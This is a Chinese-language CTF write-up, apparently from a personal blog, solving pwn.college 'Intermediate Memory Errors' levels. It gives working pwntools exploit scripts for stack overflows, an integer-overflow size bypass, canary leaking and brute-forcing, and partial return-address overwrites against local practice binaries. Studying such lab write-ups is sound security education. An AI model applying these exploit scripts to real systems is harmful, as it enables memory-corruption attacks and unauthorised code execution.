pwn.college: Intermediate Memory Errors

Yes,Yes,Yes. I trust you can leak stack canary, and get flag~. But, What’s the flag? Can eat?

Intermediate Memory Errors

前面的level应该是太简单而删除了。直接从Level4.0开始的。

level4.0

直接运行这个level后看到: stack pointer points to 0x7ffe1d045370。也就是rsp指向0x7ffe1d045370

base pointer points to 0x7ffe1d045400。 说明rbp指向0x7ffe1d045400

he input buffer begins at 0x7ffe1d0453a0。 说明输入从0x7ffe1d0453a0开始

起始,都不重要。它给的信息确实很多,告诉我们总共需要覆盖112个字节的数据,然后其中104个字节是填充,后面8个字节是返回地址。通过IDA直接能够拿到win()函数的偏移地址。但是IDA里反汇编发现大于82是不行的,而且输入是以%i进行的,可以尝试输入-1。也就是0xffffffff。可以通过栈看到的。然后就能发送超过82字节的数据。最后能够发现win函数的地址(不管是题目的tips还是IDA都能看到),这样exp一下就出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-4-0', 'b main')
p = process('/challenge/babymem-level-4-0')
payload = b''
size = b'-1'
p.sendlineafter('size: ',size)
payload += b'a' * 104
payload += p64(0x4016a9)
print(payload)
p.sendlineafter('bytes)!\n',payload)
# for i in range(100):
print(p.recvall())
# p.interactive()
p.close()

level4.1

这道题现在就是不会打印出栈的信息了。可以通过gdb调试查看栈的信息。

因为都是带符号的,所以win()函数在哪可以通过b win知道。然后cyclic 256,生成的串直接给目标程序。size还是-1。然后发生段错误的时候,gdb能够知道ret的是哪个子串。最后通过cyclic -l 'jaabkaab',知道padding的长度。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-4-1', 'b main')
p = process('/challenge/babymem-level-4-1')
payload = b''
size = b'-1'
p.sendlineafter('size: ',size)
payload += b'a' * 136
payload += p64(0x401685)
print(payload)
p.sendlineafter('bytes)!\n',payload)
# for i in range(100):
print(p.recvall())
# p.interactive()
p.close()

level5.0

1
2
3
4
5
6
7
8
In [1]: 0xFFFFFFFF&(0x7ffffffb *  0x7ffffffc)
Out[1]: 2147483668

In [2]: 0xFFFFFFFF&(0x7ffffffb * 0x7ffffffd)
Out[2]: 15

In [3]: 0x7ffffffb * 0x7ffffffd
Out[3]: 4611686001247518735

两个很大的正数,相乘可以是一个很小的数。而最后相乘的时候因为第一个数强制转换为64位的数,因此到read那儿又是一个很大的数。

这两个数分别为2147483643,2147483645。因此输入,即可绕过前面的验证,且到最后依然是一个很大的数。因此exp就很好写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-4-1', 'b main')
p = process('/challenge/babymem-level-5-0')
payload = b''
number = b'2147483643'
size = b'2147483645'
p.sendlineafter('send: ', number)
p.sendlineafter('record: ', size)
payload += b'a' * 56
payload += p64(0x401edc)
print(payload)
p.sendlineafter('bytes)!\n',payload)
# for i in range(100):
print(p.recvall())
# p.interactive()
p.close()

level5.1

1
0x40178f <challenge+460>    ret    <0x6261616362616162>

没啥好说的,还是计算padding就能过。

level9.0

这一关PIE和Canary都开了

中间关卡应该也是被删了。直接来到了level9.0

这道题有一个变量n来帮助跳过canary,然后PIE的话,偏移不变,那么我们爆破返回地址的最后两个字节即可。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-9-0', 'b challenge')
for i in range(100):
p = process('/challenge/babymem-level-9-0')
payload = b''
# number = b'2147483643'
size = b'58'
# p.sendlineafter('size: ', number)
p.sendlineafter('size: ', size)
payload += b'a' * 36 + p8(55)+ p8(0x53) + p8(0x1a)
# payload += p64(0x4014c4)

p.sendlineafter('bytes)!\n',payload)

out=p.recvall()
p.close()
if b'pwn' in out:
break
# print(p.recvall())
# p.interactive()
print(out.decode())

通过debug我们可以看到填充的第37个字节是变量n,然后后续就是两个地址,这两个是偏移地址。但是不是win函数的地址,而是win函数中flag_open的地址。这样我们就不需要考虑win函数的参数问题,从而能够直接拿到flag了。

level9.1

通过gdb知道,size的地址为0x7ffe2199ed88,buf的首地址为0x7ffe2199eda0。经过调试后发现n为覆盖的第25个字节。随后找ret地址。以及win函数中open的地址。(通过IDA会更快)

ret地址在0x7ffe2199edd8,那么需要让n=55,然后win中的open地址为:0x00005ffe18dad457

而ret的main地址为0x5ffe18dad76b。因此可以确定最后爆破的四位可以为0xd457

level10.0

flag存在input_buf后面,然后最后又会有一个you said,把我们输入到memory中的内容打印出来。我们只需要不覆盖flag,并且把flag与input_buf中间的\0都覆盖掉。那么就会顺带把flag打印出来。

level10.1

flag_buf: 0x7ffd2f64dc91

input_buf:0x7ffd2f64dc30

差距为0x61,因此直接cyclic 97,然后输入即可。

level11.0

这道题,别用cyclic,直接用pwntools脚本,然后payload = b'a'*32768

level11.1

flag_buf : 0x77f299049000

input_buf : 0x77f299041000

脚本都没改…我怀疑我是不是走捷径了…但是这样做出来好像也没问题。就是yan课上所讲的东西。

level12.0

最后四位0x23EC,我们要做的是,通过覆盖canary的最低位的两位0x00,然后使得能够把canary泄露出来。再REPEAT后,使用泄露的canary覆盖原来的canary使其不变。最后覆盖ret_addr就行,并且覆盖ret_addr的最后两个字节进行爆破。最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-9-1', 'b challenge')

while True:
p = process('/challenge/babymem-level-12-0')
payload = b''
# number = b'2147483643'
size = b'25'
# p.sendlineafter('size: ', number)
p.sendlineafter('size: ', size)
payload += b'REPEAT' + b'a' * 19
# payload += p64(0x4014c4)
p.sendlineafter('bytes)!\n',payload)
substr = b'You said: REPEAT'
out = p.recvuntil(b'aaaaaaaaaaaaaaaaaaa')
canary = u64(p8(0x00) + p.recv(7))

print("canary:------------------", hex(canary))
size = b'42'
p.sendlineafter('size: ', size)
# pause()
# gdb.attach(p)
payload = b''
payload += b'a'*24 + p64(canary) + b'b'*8 + p16(0x23EC)
p.sendlineafter('bytes)!\n',payload)
out = p.recvall()
p.close()
if b'pwn' in out:
break
print(out)
p.interactive()
# print(out.decode())

level12.1

win中的open偏移为0x13D0

用gdb调试出偏移地址,当然也可以用IDA看偏移地址。

最后exp还是上一题的。改一改偏移即可。

level13.0

这题,发现flag依然在input_buf后面的可写memory中,因此依然是覆盖到flag,然后泄露出flag即可。

level13.1

gdb调试一下,查看flag地址:0x7ffe29d119f8,查看input_buf的地址:0x7ffe29d11980

算出padding:0xf8-0x80 = 120

然后就能泄露flag了。

level14.0

这道题,题目提示有东西没有被初始化。然后在栈上发现了残留的canary。然后算偏移就行了。尝试在gdb中调试查看到是在challenge中使得我们Repeat后的栈空间残留下来canary。不过不重要了,记住一点:栈复用是有可能存在残留数据可利用的。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-9-1', 'b challenge')

while True:
p = process('/challenge/babymem-level-14-0')
#payload = b''
# number = b'2147483643'
size = b'57'
# p.sendlineafter('size: ', number)
# pause()
p.sendlineafter('size: ', size)
payload = b'REPEAT' + b'a' * (51)
# payload += p64(0x4014c4)
p.sendlineafter('bytes)!\n',payload)

out = p.recvuntil(b'a'*(51))
canary = u64(p8(0x00) + p.recv(7))

print("canary:------------------", hex(canary))
size = b'346'
p.sendlineafter('size: ', size)
payload = b''
# pause()
payload += b'a'*0x148 + p64(canary) + b'b'*8 + p16(0xBEFB)
p.sendlineafter('bytes)!\n',payload)
out = p.recvall()
p.close()
if b'pwn' in out:
break
print(out)
# p.interactive()
# print(out.decode())

level14.1

通过gdb调试出input_buf和残留canary之间的偏移:0x7ffe2b972e38 - 0x7ffe2b972da0

即0x98,再+1即覆盖低位00能够泄露。然后脚本依然是上面那个,改改偏移即可。

level15.0

这道题我就直接按照不会给stack来做了。所以,直接IDA打开,查看偏移地址。然后直接开始爆破就行。需要爆破Canary以及ret_addr的倒数第二个字节。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
# context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# p = gdb.debug('/challenge/babymem-level-9-1', 'b challenge')
x = 0x01
tmp = b''
canary = p8(0x00)
length = [b'122',b'123', b'124', b'125', b'126', b'127', b'128']
i = 0
while True:
p = remote('127.0.0.1', 1337)
payload = b''
payload += length[i]
p.sendlineafter(b'ize: ', payload)
padding = b'a' * 120
tmp = canary
y = p8(x)
x += 1
tmp += y
payload = padding + tmp
print(payload)
p.sendafter(b'bytes)!\n', payload)
out = p.recvall()
# print(out)
p.close()
if b'terminated' not in out:
canary += y
if len(canary) == 8:
break
i += 1
x = 0
continue
print("canary:", canary)
x = 0x01
while True:
p = remote('127.0.0.1', 1337)
payload = b'138'
p.sendlineafter(b'ize: ', payload)
padding = b'a' *120
payload = padding + canary + b'b'*8 + p8(0x95) + p8(x)
x +=1
p.sendafter(b'bytes)!\n', payload)
out = p.recvall()
p.close()
print(out)
if b"pwn" in out:
break
print(out)

这exp写的挺丑陋的O.o…那就再说一下思路吧:

canary需要爆破,那么最低字节为0x00不用动,然后因为程序会根据canary是否被修改而反馈,所以依据反馈来判断当前覆盖的字节是否是canary的值。因此可以爆破出canary。(其次的原因是因为fork会继承父进程的canary,这个yan在视频里讲了就不赘述)

然后IDA打开,查看我们输入的buf的偏移(这里要注意,不是IDA打开的buf变量,因为buf在后面被赋值了一个变量,那个变量的偏移才是需要的偏移。)最后爆破ret_addr的倒数第二个字节就行了。

level15.1

同15.1,只需要修改偏移地址而已。


pwn.college: Intermediate Memory Errors
https://loboq1ng.github.io/2025/03/16/pwn-college-Intermediate-Memory-Errors/
作者
Lobo Q1ng
发布于
2025年3月16日
许可协议